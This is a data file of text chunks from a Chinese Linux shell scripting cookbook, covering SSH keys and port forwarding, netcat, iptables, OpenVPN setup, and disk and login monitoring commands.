    {"text": "8 iwlist工具能够扫描并列出可用的无线网络： # iwlist scan 9 wlan0 Scan completed : Cell 01 - Address: 00:12:17:7B:1C:65 Channel:11 Frequency:2.462 GHz (Channel 11) Quality=33/70 Signal level=-77 dBm 10 Encryption key:on ESSID:\"model-2\" 参数Frequency可以从扫描结果中的Frequency:2.462 GHz (Channel 11)一行中提取。"},
    {"text": "要想实现自动化认证，公钥必须放置在服务器中（将其加入文件 ~/.ssh/authorized_keys），与公钥对应的私钥应该放入用户所在客户机的~/.ssh目录中。 另一些与 SSH相关的配置（例如， authorized_keys文件的路径与名称）可以通过修改文件 /etc/ssh/sshd_config 来完成。 8.10.2 实战演练 设置SSH认证自动化需要两步： (1) 在本地主机上创建SSH密钥； (2) 将生成的公钥传给远程主机并将其加入到文件 ~/.ssh/authorized_keys中（这一步需要访问 远程主机）。 输入命令ssh-keygen创建SSH密钥，指定加密算法类型为RSA： $ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/username/.ssh/id_rsa): Created directory '/home/username/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/username/.ssh/id_rsa. Your public key has been saved in /home/username/.ssh/id_rsa.pub. The key fingerprint is: f7:17:c6:4d:c9:ee:17:00:af:0f:b3:27:a6:9c:0a:05 username@slynux-laptop The key's randomart image is: 8.11 使用 SSH 实现端口转发 257 +--[ RSA 2048]----+ | . | 1 | o . .| | E o o.| | ...oo | | .S .+ +o.| | . . .=....| 2 | .+.o...| | . . + o. .| | ..+ | +-----------------+ 3 你需要输入口令来生成一对公钥和私钥。"},
    {"text": "公钥必须添加到想要自动登入的远程服务器的~/.ssh/authorized_keys文件中。 可以使用下列命令添加密钥文件： 6 $ ssh USER@REMOTE_HOST \\ \"cat >> ~/.ssh/authorized_keys\" < ~/.ssh/id_rsa.pub Password: 7 在上面的命令中要提供登录密码。"},
    {"text": "多数Linux发行版中都有一个叫作ssh-copy-id的工具，它可以 自动将私钥添加到远程服务器的authorized_keys文件中。 这比之前的做法要简洁： ssh-copy-id USER@REMOTE_HOST 10 8.11 使用 SSH 实现端口转发 11 端口转发可以将来自某台主机的IP连接重定向到另一台主机。 如果你使用Linux/Unix系统作 为防火墙，你可以将端口1234上的连接重定向到其他内部地址（如192.168.1.10:22），从而为外部 提供一个可以抵达内部主机的ssh隧道。"},
    {"text": "12 8.11.1 实战演练 14 你可以将本地主机端口上的流量转发到另一台主机上，也可以将远程主机端口上的流量转 258 第 8 章 无网不利 发到其他主机。"},
    {"text": "按照下面的方法，一旦端口转发设置完毕，你会得到一个shell提示符。 在进行 端口转发的过程中，这个shell必须保持打开状态，什么时候想停止转发，只需要退出该shell就 可以了。"},
    {"text": "(1) 下列命令会将本地主机端口8000上的流量转发到www.kernel.org的端口80上： ssh -L 8000:www.kernel.org:80 user@localhost 将上述命令中的user替换成你自己的本地主机上的用户名。 (2) 下列命令会将远程主机端口8000上的流量转发到www.kernel.org的端口80上： ssh -L 8000:www.kernel.org:80 user@REMOTE_MACHINE 将上述命令中的REMOTE_MACHINE替换成远程主机的主机名或IP地址，将user替换成使用 SSH进行访问的用户名。"},
    {"text": "1. 非交互式端口转发 如果你只是想设置端口转发，而不希望在端口转发时有一个总是保持打开状态的shell，那么 可以像下面这样使用ssh： ssh -fL8000:www.kernel.org:80 user@localhost -N -f指定ssh在执行命令前转入后台运行，-N告诉ssh无需执行命令，只进行端口转发。"},
    {"text": "如果你有一台无法通过Internet访问到的主机，但是 又希望其他用户可以访问这台主机上的服务，那就是反向端口转发大显身手的时候了。 如果你能 够使用SSH访问一台可以通过Internet访问的远程主机，那么就可以在这台主机上设置反向端口转 发，将流量转发到运行该服务的本地主机。 ssh -R 8000:localhost:80 user@REMOTE_MACHINE 上述命令会将远程主机端口8000上的流量转发到本地主机的端口80上。"},
    {"text": "8.13 分析网络流量与端口 259 8.12 在本地挂载点上挂载远程驱动器 1 在执行数据读写操作时，如果可以通过本地挂载点访问远程主机文件系统，那就再好不过了。"},
    {"text": "5 8.12.2 实战演练 将位于远程主机上的文件系统挂载到本地挂载点上： 6 # sshfs -o allow_other user@remotehost:/home/path /mnt/mountpoint Password: 7 在收到提示时输入密码。 现在位于远程主机/home/path中的数据就可以通过本地挂载点 /mnt/mountpoint来访问了。 使用下面的命令卸载： 8 # umount /mnt/mountpoint 9 8.12.3 参考 8.6节讲解了ssh命令。"},
    {"text": "选项-i将范围限制在已打开的网络连接： $ lsof -i COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME firefox-b 2261 slynux 78u IPv4 63729 0t0 TCP localhost: 47797->localhost:42486 (ESTABLISHED) firefox-b 2261 slynux 80u IPv4 68270 0t0 TCP slynux-laptop.local:41204->192.168.0.2:3128 (CLOSE_WAIT) firefox-b 2261 slynux 82u IPv4 68195 0t0 TCP slynux-laptop.local:41197->192.168.0.2:3128 (ESTABLISHED) ssh 3570 slynux 3u IPv6 30025 0t0 TCP localhost:39263->localhost:ssh (ESTABLISHED) ssh 3836 slynux 3u IPv4 43431 0t0 TCP slynux-laptop.local:40414->boney.mt.org:422 (ESTABLISHED) GoogleTal 4022 slynux 12u IPv4 55370 0t0 TCP localhost:42486 (LISTEN) GoogleTal 4022 slynux 13u IPv4 55379 0t0 TCP localhost:42486->localhost:32955 (ESTABLISHED) lsof的每一项输出都对应着一个开放端口上的服务。"},
    {"text": "输出的最后一列类似于： laptop.local:41197->192.168.0.2:3128 输出中的laptop.local:41197对应本地主机，192.168.0.2:3128对应远程主机。"},
    {"text": "要列出本地主机当前的开放端口，可以使用下列命令： $ lsof -i | grep \":[0-9a-z] +->\" -o | grep \"[0-9a-z] +\" -o | sort | uniq 8.13.3 工作原理 第一个grep中使用的正则表达式:[0-9a-z]+->用来从lsof输出中提取主机端口部分 （:34395->或:ssh->）。"},
    {"text": "8.14 测量网络带宽 261 8.13.4 补充内容 1 还有其他一些工具也可以用来查看开放端口以及网络流量相关信息。 用 netstat 查看开放端口与服务 2 netstat也可以显示网络服务统计信息。"},
    {"text": "用netstat -tnp列出开放端口与服务： 3 $ netstat –tnp Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name 4 tcp 0 0 192.168.0.82:38163 192.168.0.2:3128 ESTABLISHED 2261/firefox-bin 5 tcp 0 0 192.168.0.82:38164 192.168.0.2:3128 TIME_WAIT - tcp 0 0 192.168.0.82:40414 193.107.206.24:422 ESTABLISHED 3836/ssh 6 tcp 0 0 127.0.0.1:42486 127.0.0.1:32955 ESTABLISHED 4022/GoogleTalkPlug 7 tcp 0 0 192.168.0.82:38152 192.168.0.2:3128 ESTABLISHED 2261/firefox-bin tcp6 0 0 ::1:22 ::1:39263 8 ESTABLISHED - tcp6 0 0 ::1:39263 ::1:22 ESTABLISHED 3570/ssh 9 8.14 测量网络带宽 10 之前介绍的ping和traceroute能够测量网络的延迟以及节点间的跳数。"},
    {"text": "安装好之后，启动服务器端： $ iperf -s 14 262 第 8 章 无网不利 然后运行客户端，生成吞吐量统计： $ iperf -c 192.168.1.36 ------------------------------------------------------------ Client connecting to 192.168.1.36, TCP port 5001 TCP window size: 19.3 KByte (default) ------------------------------------------------------------ [ 3] local 192.168.1.44 port 46526 connected with 192.168.1.36 port 5001 [ ID] Interval Transfer Bandwidth [ 3] 0.0-10.0 sec 113 MBytes 94.7 Mbits/sec 选项-m会使得iperf找出最大传输单元（Maximum Transfer Size，MTU）： $ iperf -mc 192.168.1.36 ------------------------------------------------------------ Client connecting to 192.168.1.36, TCP port 5001 TCP window size: 19.3 KByte (default) ------------------------------------------------------------ [ 3] local 192.168.1.44 port 46558 connected with 192.168.1.36 port 5001 [ ID] Interval Transfer Bandwidth [ 3] 0.0-10.0 sec 113 MBytes 94.7 Mbits/sec [ 3] MSS size 1448 bytes (MTU 1500 bytes, ethernet) 8.15 创建套接字 对于文件传输和远程shell这类操作，我们有现成的工具（ftp和ssh）可以使用。"},
    {"text": "8.15.2 实战演练 (1) 设置侦听套接字： nc -l 1234 这会在本地主机的端口1234上创建一个侦听套接字。 (2) 连接到该套接字： nc HOST 1234 8.15 创建套接字 263 如果是在运行着侦听套接字的主机上执行该命令，那么需要将HOST更换成localhost， 1 否则将其更换成其他主机的IP地址或主机名。"},
    {"text": "5 (1) 在侦听端执行下列命令： nc -l 1234 > destination_filename 6 (2) 在发送端执行下列命令： nc HOST 1234 < source_filename 7 2. 创建广播服务器 你可以利用netcat创建定制服务器。"},
    {"text": "可以使用客户端连接到侦听端口获取时间： 8 # 该脚本会将时间发送到端口 while [ 1 ] do 9 sleep 10 date done | nc -l 12345 echo exited 10 8.15.4 工作原理 11 之所以能够使用nc复制文件的原因在于其会将套接字的输入作为输出发送到另一端。"},
    {"text": "12 你可以使用nc创建一个客户端： $ nc 127.0.0.1 12345 14 264 第 8 章 无网不利 8.16 搭建网桥 如果你有两个独立的网络，可能需要某种方法将数据从一个网络传到另一个网络。"},
    {"text": "你可以使用网桥连接不可路由的私有网络（private, non-routed network）中的主机，或是连 接公司中独立的子网，亦或是将生产子网与运送子网互联，实现产品信息共享。"},
    {"text": "# 创建名为 br0 的新网桥 ip link add br0 type bridge # 将以太网适配器添加到网桥 ip link set dev eth1 master br0 # 配置网桥的 IP 地址 ifconfig br0 10.0.0.2 # 启用分组转发 echo 1 >/proc/sys/net/ipv4/ip_forward 所创建出的网桥使得分组可以在eth0和eth1之间传递。"},
    {"text": "对于网络10.0.0.0/24中的主机，添加到网络192.168.1.0/16路由表项： 8.17 Internet 连接共享 265 route add -net 192.168.1.0/16 gw 10.0.0.2 1 网络192.168.1.0/16中的主机需要知道如何找到网络10.0.0.0/24。 如果eth0配置了IP地址 192.168.1.2，则使用route命令： 2 route add -net 10.0.0.0/24 gw 192.168.1.2 8.17 Internet 连接共享 3 大多数防火墙/路由器都能够让你的家庭或办公室设备共享Internet连接。"},
    {"text": "这则攻略介绍了如何通过 iptables实现以太网与无线设备之间的Internet连接共享。 5 8.17.1 预备知识 6 我们使用iptables设置了网络地址转换，使得多个联网设备能够共享Internet连接。"},
    {"text": "10 (3) 使用下面的shell脚本来实现Internet连接共享： #!/bin/bash # 文件名 : netsharing.sh 11 echo 1 > /proc/sys/net/ipv4/ip_forward iptables -A FORWARD -i $1 -o $2 \\ -s 10.99.0.0/16 -m conntrack --ctstate NEW -j ACCEPT 12 iptables -A FORWARD -m conntrack --ctstate \\ ESTABLISHED,RELATED -j ACCEPT 14 iptables -A POSTROUTING -t nat -j MASQUERADE 266 第 8 章 无网不利 (4) 执行脚本： ./netsharing.sh eth0 wlan0 其中，eth0是连接到Internet的接口，wlan0是无线接口，支持与其他设备共享Internet 连接。"},
    {"text": "在子网10.99.66.x上的无线设备可以使用 10.99.66.55作为网关。 这些无线设备会将发往Internet的分组交给10.99.66.55，由后者将分组再转 发给eth0上的Internet网关，然后送至目的地。"},
    {"text": "2 (1) 如果你不希望访问特定站点（例如恶意站点），可以阻止发送到该IP地址的流量： #iptables -A OUTPUT -d 8.8.8.8 -j DROP 3 如果在另一个终端中执行PING 8.8.8.8，然后再执行iptables命令，你会看到： PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_req=1 ttl=56 time=221 ms 4 64 bytes from 8.8.8.8: icmp_req=2 ttl=56 time=221 ms ping: sendmsg: Operation not permitted ping: sendmsg: Operation not permitted 5 ping命令在执行到第三次的时候失败了，这是因为我们使用iptables将所有发送到 8.8.8.8的流量给丢弃了。"},
    {"text": "6 (2) 阻止发送到特定端口的流量： #iptables -A OUTPUT -p tcp -dport 21 -j DROP $ ftp ftp.kde.org ftp: connect: Connection timed out 7 如果你在/var/log/secure或/var/log/messages中发现类似于下面的信息，就说明 碰上了一点小麻烦： 8 Failed password for abel from 1.2.3.4 port 12345 ssh2 Failed password for baker from 1.2.3.4 port 12345 ssh2 这些信息说明有机器人正在探测你的系统是否存在弱密码。"},
    {"text": "你可以使用INPUT规则阻止机器 9 人访问站点，这条规则会丢弃所有机器人所在地址的流量： #iptables -I INPUT -s 1.2.3.4 -j DROP 10 8.18.2 工作原理 11 iptables是Linux系统中用来配置防火墙的命令。"},
    {"text": "所谓链就是若干条规则的集合，在早先的例子中我们使用的是OUTPUT链， 12 它可以控制所有的出站流量（outgoing traffic），而在上一个例子中，用到的是INPUT链，它能够 控制所有的入站流量（incoming traffic）。"},
    {"text": "8.18.3 补充内容 可以使用选项-flush清除对iptables链所作出的所有改动： #iptables -flush 8.19 创建虚拟私有网络 虚拟私有网络（Virtual Private Network，VPN）是建立在公网之上的加密通道。"},
    {"text": "在如今的Linux系 统中，隧道应该是不会少的： ls /dev/net/tun 8.19 创建虚拟私有网络 269 8.19.2 实战演练 1 设置OpenVPN的第一步就是为服务器和至少一个客户端生成证书。"},
    {"text": "最简单的方法就是使用 easy-rsa 制 作自签 名证书，该 工具包含在 OpenVPN预发行版2.3中。 如果你用 的是更高的 2 OpenVPN版本，可以通过包管理器安装easy-rsa。"},
    {"text": "3 1. 生成证书 首先确保没有之前安装版本的遗留文件： 4 # cd /usr/share/easy-rsa # . ./vars # ./clean-all 5 注意：如果你运行./clean-all，它会在/usr/share/easy-rsa/keys 上执行rm -rf。"},
    {"text": "在这里我们只显示不同的部分： 7 # ./build-ca Generating a 2048 bit RSA private key ......+++ .....................................................+++ 8 writing new private key to 'ca.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. 9 There are quite a few fields but you can leave some blank For somefieldsthere will be a default value, If you enter '.', the field will be left blank. ----- 10 Country Name (2 letter code) [US]: State or Province Name (full name) [CA]:MI Locality Name (eg, city) [SanFrancisco]:WhitmoreLake Organization Name (eg, company) [Fort-Funston]:Example Organizational Unit Name (eg, section) [MyOrganizationalUnit]:Packt 11 Common Name (eg, your name or your server's hostname) [Fort-Funston CA]:vpnserver Name [EasyRSA]: Email Address [me@myhost.mydomain]:admin@example.com 12 然后，使用build-key命令生成服务器证书： # ./build-key server Generating a 2048 bit RSA private key 14 270 第 8 章 无网不利 ..................................+++ .....................+++ writing new private key to 'server.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request.... Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: 为至少一个客户端生成证书。 对于每个想连接到该OpenVPN服务器的主机，都需要单独的客 户端证书： # ./build-key client1 Generating a 2048 bit RSA private key .......................+++ .................................................+++ writing new private key to 'client1.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. ... Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: Using configuration from /usr/share/easy-rsa/openssl-1.0.0.cnf Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows countryName :PRINTABLE:'US' stateOrProvinceName :PRINTABLE:'MI' localityName :PRINTABLE:'WhitmoreLake' organizationName :PRINTABLE:'Example' organizationalUnitName:PRINTABLE:'Packt' commonName :PRINTABLE:'client1' name :PRINTABLE:'EasyRSA' emailAddress:IA5STRING:'admin@example.com' Certificate is to be certified until Jan 8 15:24:13 2027 GMT (3650 days) Sign the certificate? [y/n]:y 1 out of 1 certificate requests certified, commit? [y/n]y Write out database with 1 new entries Data Base Updated 最后，使用build-dh命令生成Diffie-Hellman。"},
    {"text": "这个过程得花上好几秒时间，同时产生几屏 满是点号和加号的内容： 8.19 创建虚拟私有网络 271 # ./build-dh 1 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time ......................+............+........ 这些步骤会在keys目录中创建多个文件。"},
    {"text": "2 将服务器密钥复制到/etc/openvpn： # cp keys/server* /etc/openvpn 3 # cp keys/ca.crt /etc/openvpn # cp keys/dh2048.pem /etc/openvpn 将客户端密钥复制到客户端系统： 4 # scp keys/client1* client.example.com:/etc/openvpn # scp keys/ca.crt client.example.com:/etc/openvpn 5 2. 在服务器上配置OpenVPN OpenVPN包含一些基本上可以直接使用的配置文件样本。"},
    {"text": "这些文件通常可以位于/usr/share/doc/openvpn/examples/sample- 6 config-files： # cd /usr/share/doc/openvpn/examples/sample-config-files # cp server.conf.gz /etc/openvpn 7 # cd /etc/openvpn # gunzip server.conf.gz # vim server.conf 8 设置用于侦听的本地IP地址。"},
    {"text": "这是连接到网络上的网卡IP地址，你打算通过其接受VPN连接： local 192.168.1.125 9 修改证书路径： ca /etc/openvpn/ca.crt cert /etc/openvpn/server.crt key /etc/openvpn/server.key # 该文件注意保密 10 最后，检查diffie-hellman参数文件是否正确。"},
    {"text": "11 #dh dh1024.pem dh dh2048.pem 3. 在客户端上配置OpenVPN 12 每个客户端上的配置步骤都差不多。 将客户端配置文件复制到/etc/openvpn： 14 272 第 8 章 无网不利 # cd /usr/share/doc/openvpn/examples/sample-config-files # cpclient.conf /etc/openvpn 编辑client.conf文件： # cd /etc/openvpn # vim client.conf 修改证书路径，使其指向正确的目录： ca /etc/openvpn/ca.crt cert /etc/openvpn/server.crt key /etc/openvpn/server.key # 该文件注意保密 设置服务器： #remote my-server-1 1194 remote server.example.com 1194 4. 启动服务器 服务器现在就可以启动了。"},
    {"text": "如果找不到这一行，就需要在输出中往前查找错误 信息了： # openvpnserver.conf Wed Jan 11 12:31:08 2017 OpenVPN 2.3.4 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on Nov 12 2015 Wed Jan 11 12:31:08 2017 library versions: OpenSSL 1.0.1t 3 May 2016, LZO 2.08... Wed Jan 11 12:31:08 2017 client1,10.8.0.4 Wed Jan 11 12:31:08 2017 Initialization Sequence Completed 使用ifconfig命令验证服务器是否运行。"},
    {"text": "你应该能看到列出的隧道设备（tun）： $ ifconfig tun0 Link encap:UNSPECHWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr:10.8.0.1 P-t-P:10.8.0.2 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) 5. 启动并测试客户端 一旦服务器启动，你就可以运行客户端了。"},
    {"text": "还是一样，注意Initialization Sequence Completed这一行： 8.19 创建虚拟私有网络 273 # openvpn client.conf 1 Wed Jan 11 12:34:14 2017 OpenVPN 2.3.4 i586-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on Nov 19 2015 Wed Jan 11 12:34:14 2017 library versions: OpenSSL 1.0.1t 3 May 2016, LZO 2.08... 2 Wed Jan 11 12:34:17 2017 /sbin/ipaddr add dev tun0 local 10.8.0.6 peer 3 10.8.0.5 Wed Jan 11 12:34:17 2017 /sbin/ip route add 10.8.0.1/32 via 10.8.0.5 Wed Jan 11 12:34:17 2017 Initialization Sequence Completed 4 使用ifconfig命令验证隧道是否已经初始化： $ /sbin/ifconfig tun0 Link encap:UNSPECHWaddr 00-00-00-00-00-00-00-00...00-00-00-00 5 inet addr:10.8.0.6 P-t-P:10.8.0.5 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:2 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 6 collisions:0 txqueuelen:100 RX bytes:168 (168.0 B) TX bytes:336 (336.0 B) 使用netstat命令验证新网络对应的路由是否正确： 7 $ netstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irttIface 0.0.0.0 192.168.1.7 0.0.0.0 UG 0 0 0 eth0 8 10.8.0.1 10.8.0.5 255.255.255.255 UGH 0 0 0 tun0 10.8.0.5 0.0.0.0 255.255.255.255 UH 0 0 0 tun0 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 9 命令输出中显示隧道设备连接到网络10.8.0.x，对应的网关是10.8.0.1。"},
    {"text": "最后，可以使用ping命令测试连通性： 10 $ ping 10.8.0.1 PING 10.8.0.1 (10.8.0.1) 56(84) bytes of data. 64 bytes from 10.8.0.1: icmp_seq=1 ttl=64 time=1.44 ms 11 12 14 274 第 9 章 明察秋毫 第 9 章 明察秋毫 本章内容  监视磁盘使用情况  通过监视用户登录找出入侵者  计算命令执行时间  监视远程磁盘的健康情况  收集登录用户、启动日志及启动故障的  确定系统中用户的活跃时段 相关信息  电源使用情况的测量与优化  列出1小时内占用CPU最多的10个进程  监视磁盘活动  使用watch监视命令输出  检查磁盘及文件系统错误  记录文件及目录访问情况  检查磁盘健康情况  使用syslog记录日志  获取磁盘统计数据  使用logrotate管理日志文件 9.1 简介 计算机系统是由一组硬件以及控制这些硬件的软件组成的。"},
    {"text": "系统管理员需要监视这些模块和应用程序，确保其工作正常，同时搞清楚是否需要重新分配 资源（将用户分区迁移到更大的磁盘、提供速度更快的网络等）。"},
    {"text": "2 9.2.2 实战演练 3 找出某个文件（或多个文件）占用的磁盘空间： $ du FILENAME1 FILENAME2 .. 4 例如： $ du file.txt 要获得某个目录中所有文件的磁盘使用情况，并在每一行中显示各个文件的具体详情，可以 5 使用： $ du -a DIRECTORY 6 选项-a递归地输出指定目录或多个目录中所有文件的统计结果。 执行du DIRECTORY也可以输出类似的结果，但是它只会显示子目录使用的磁 7 盘空间，而不显示每个文件的占用情况。"},
    {"text": "例如： 8 $ du -a test 4 test/output.txt 4 test/process_log.sh 4 test/pcpu.sh 9 16 test du命令也可以用于目录： 10 $ du test 16 test 9.2.3 补充内容 11 du命令还包括了一些可以定义命令输出形式的选项。"},
    {"text": "12 1. 以KB、MB或块（block）为单位显示磁盘使用情况 du命令默认显示文件占用的总字节数，但是以KB、MB或GB为单位显示磁盘使用情况更方 便人们阅读。 要采用这种更友好的格式进行打印，可以使用选项-h： 14 276 第 9 章 明察秋毫 du -h FILENAME 例如： $ du -h test/pcpu.sh 4.0K test/pcpu.sh # 可以接受多个文件参数 或者 # du -h DIRECTORY $ du -h hack/ 16K hack/ 2. 显示磁盘使用总计 选项-c可以计算出文件或目录所占用的总的磁盘空间，另外还会输出单个文件的大小： $ du -c FILENAME1 FILENAME2.. du -c process_log.sh pcpu.sh 4 process_log.sh 4 pcpu.sh 8 total 或者 $ du -c DIRECTORY $ du -c test/ 16 test/ 16 total 或者 $ du -c *.txt # 通配符 -c可以同-a、-h等选项配合使用生成常见的输出，另外还会多出一行磁盘使用情况总计。"},
    {"text": "它可以配合-h打印出人们易读的 格式： $ du -sh /usr/bin 256M /usr/bin 3. 使用特定的单位打印文件 选项-b、-k和-m可以强制du使用特定的单位打印磁盘使用情况。 注意，这些选项不能与-h 一同使用：  打印以字节（默认输出）为单位的文件大小： $ du -b FILE(s) 9.2 监视磁盘使用情况 277  打印以KB为单位的文件大小： 1 $ du -k FILE(s)  打印以MB为单位的文件大小： 2 $ du -m FILE(s)  打印以指定块为单位的文件大小： 3 $ du -B BLOCK_SIZE FILE(s) 其中，BLOCK_SIZE以字节为单位。"},
    {"text": "因为磁盘空间是 根据固定大小的块（通常是4K）来分配的，因此一个400字节的文件所占用的磁盘空间就是一个 5 块（4K）： $ du pcpu.sh 4 pcpu.sh 6 $ du -b pcpu.sh 439 pcpu.sh $ du -k pcpu.sh 4 pcpu.sh $ du -m pcpu.sh 7 1 pcpu.sh $ du -B 4 pcpu.sh 1024 pcpu.sh 8 4. 从磁盘使用统计中排除部分文件 选项--exclude和--exclude-from可以让du在磁盘使用统计中排除部分文件。"},
    {"text": "9 (1) 选项--exclude可以与通配符或单个文件名配合使用： $ du --exclude \"WILDCARD\" DIRECTORY 10 例如： # 排除所有的 .txt 文件 $ du --exclude \"*.txt\" * 11 # 排除文件 temp.txt $ du --exclude \"temp.txt\" * (2) 选项--exclude会排除匹配模式的一个或多个文件。"},
    {"text": "$ ls *.txt >EXCLUDE.txt $ ls *.odt >>EXCLUDE.txt # EXCLUDE.txt 中包含了需要排除的文件列表 14 278 第 9 章 明察秋毫 $ du --exclude-from EXCLUDE.txt DIRECTORY 选项--max-depth可以限制du应该遍历多少层子目录。"},
    {"text": "将该选项指定为1，可以统计当 前目录的磁盘使用情况。 指定为2，可以统计当前目录以及下一级子目录的磁盘使用情况： $ du --max-depth 2 DIRECTORY 选项-x可以限制du只对单个文件系统进行统计。"},
    {"text": "5. 找出指定目录中最大的10个文件 du和sort命令能够找出需要被删除或移走的大文件： $ du -ak SOURCE_DIR | sort -nrk 1 | head 选项-a可以显示出SOURCE_DIR中所有文件和目录的大小。"},
    {"text": "head用来从输出中 提取前10行： $ du -ak /home/slynux | sort -nrk 1 | head -n 4 50220 /home/slynux 43296 /home/slynux/.mozilla 43284 /home/slynux/.mozilla/firefox 43276 /home/slynux/.mozilla/firefox/8c22khxc.default 这个单行脚本的缺点之一在于它的结果中还包含了目录。"},
    {"text": "我们可以使用find命令改进脚本，使 其只输出最大的文件： $ find . -type f -exec du -k {} \\; | sort -nrk 1 | head 利用find替du将文件过滤出来，这样就无需使用du遍历文件系统了。"},
    {"text": "例如： 1 $ df -h Filesystem Size Used Avail Use% Mounted on /dev/sda1 9.2G 2.2G 6.6G 25% / none 497M 240K 497M 1% /dev 2 none 502M 168K 501M 1% /dev/shm none 502M 88K 501M 1% /var/run none 502M 0 502M 0% /var/lock none 502M 0 502M 0% /lib/init/rw 3 none 9.2G 2.2G 6.6G 25% /var/lib/ureadahead/debugfs df命令也可以使用目录作为参数。"},
    {"text": "如果你不知道目录所在分区的话，这种方法就很有用了： $ df -h /home/user Filesystem Size Used Avail Use% Mounted on 5 /dev/md1 917G 739G 133G 85% /raid1 9.3 计算命令执行时间 6 在分析应用程序的效率或比较不同的算法时，其执行时间非常重要。"},
    {"text": "7 9.3.1 实战演练 (1) time命令可以测量出应用程序的执行时间： 8 $ time APPLICATION time命令会执行APPLICATION。 当APPLICATION执行完毕后，time命令将其real时间、 sys时间以及user时间输出到stderr中，将APPLICATION的正常输出发送到stdout。 9 $ time ls test.txt next.txt 10 real 0m0.008s user 0m0.001s sys 0m0.003s 11 time命令的可执行二进制文件位于/usr/bin/time，另外还有一个bash shell 的内建命令也叫作time。 当执行time时，默认调用的是shell的内建命令。 内 建的time命令选项有限。 如果需要使用额外的功能，应该使用可执行文件time 12 的绝对路径（/usr/bin/time）。"},
    {"text": "(2) 选项-o可以将相关的时间统计信息写入文件： 14 $ /usr/bin/time -o output.txt COMMAND 280 第 9 章 明察秋毫 文件名应该出现在选项-o之后。 选项-a可以配合-o使用，将命令执行时间追加到原文件的末尾： $ /usr/bin/time -a -o output.txt COMMAND (3) 选项-f可以指定输出哪些统计信息及其格式。"},
    {"text": " real时间: %e  user时间: %U  sys时间: %S  系统分页大小：%Z 通过结合格式参数以及其他文本，我们就可以创建格式化输出： $ /usr/bin/time -f \"FORMAT STRING\" COMMAND 例如： $ /usr/bin/time -f \"Time: %U\" -a -o timing.log uname Linux 其中，%U指定了user时间。"},
    {"text": "例如： $ /usr/bin/time -f \"Time: %U\" uname> command_output.txt 2>time.log $ cat time.log Time: 0.00 $ cat command_output.txt Linux (4) 格式参数也可以报告内存使用情况。 参数%M会显示所使用的最大内存（以KB为单位）， 参数%Z会显示系统页面大小： $ /usr/bin/time -f \"Max: %M K\\nPage size: %Z bytes\" \\ ls> /dev/null Max: 996 K Page size: 4096 bytes 这里并不需要被计时的命令（ls）的输出，因此将标准输出重定向到了/dev/null。"},
    {"text": "表 9-1 7 参 数 描 述 %C 被计时的命令名称以及命令行参数 %D 进程非共享数据区的平均大小，以KB为单位 8 %E 进程使用的real时间（壁钟时间），显示格式为[小时:]分钟:秒 %x 命令的退出状态 %k 进程接收到的信号数量 9 %W 进程被交换出主存的次数 %Z 以字节为单位系统的页面大小。"},
    {"text": "结果以百分比形式显示 10 %K 进程的平均总内存使用量（data+stack+text），以KB为单位 %w 进程主动进行上下文切换的次数，例如等待I/O操作完成 %c 进程被迫进行上下文切换的次数（由于时间片到期） 11 9.4 收集登录用户、启动日志及启动故障的相关信息 12 Linux包含了一些能够报告运行系统各方面信息的命令，其中包括当前登录用户、主机加电 时间以及启动故障。"},
    {"text": "9.4.2 实战演练 (1) who命令可以获取当前登录用户的相关信息： $ who slynux pts/0 2010-09-29 05:24 (slynuxs-macbook-pro.local) slynux tty7 2010-09-29 07:08 (:0) 该命令会显示出登录名、用户所使用的TTY、登录时间以及登录用户的远程主机名（或 者X显示信息）。"},
    {"text": "(2) w命令可以获得有关登录用户更详细的信息： $ w 07:09:05 up 1:45, 2 users, load average: 0.12, 0.06, 0.02 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT slynux pts/0 slynuxs 05:24 0.00s 0.65s 0.11s sshd: slynux slynux tty7 :0 07:08 1:45m 3.28s 0.26s bash 第一行列出了当前时间、系统运行时间、当前登录的用户数量以及过去的1/5/15分钟内的 系统平均负载。"},
    {"text": "接下来在每一行中显示了每个登录会话的详细信息，其中包括登录名、 TTY、远程主机、登录时间、空闲时间、该用户登录后所使用的总CPU时间、当前运行 进程所使用的CPU时间以及进程所对应的命令行。"},
    {"text": "(3) users命令只列出当前的登录用户列表： $ users slynux slynux slynux hacker 如果某个用户有多个登录会话，不管是远程登录还是打开了多个终端窗口，那么该用户 会被多次显示。"},
    {"text": "排除重复用户的最 简单的方法是使用sort和uniq进行过滤： $ users | tr ' ' '\\n' | sort | uniq slynux 9.4 收集登录用户、启动日志及启动故障的相关信息 283 hacker 1 利用tr将' '替换成'\\n'，然后用sort和uniq为每个用户生成唯一的输出。"},
    {"text": "(4) uptime命令可以查看系统的加电运行时长： 2 $ uptime 21:44:33 up 6 days, 11:53, 8 users, load average: 0.09, 0.14, 0.09 3 单词up之后的时间表明了系统已经加电运行了多久。"},
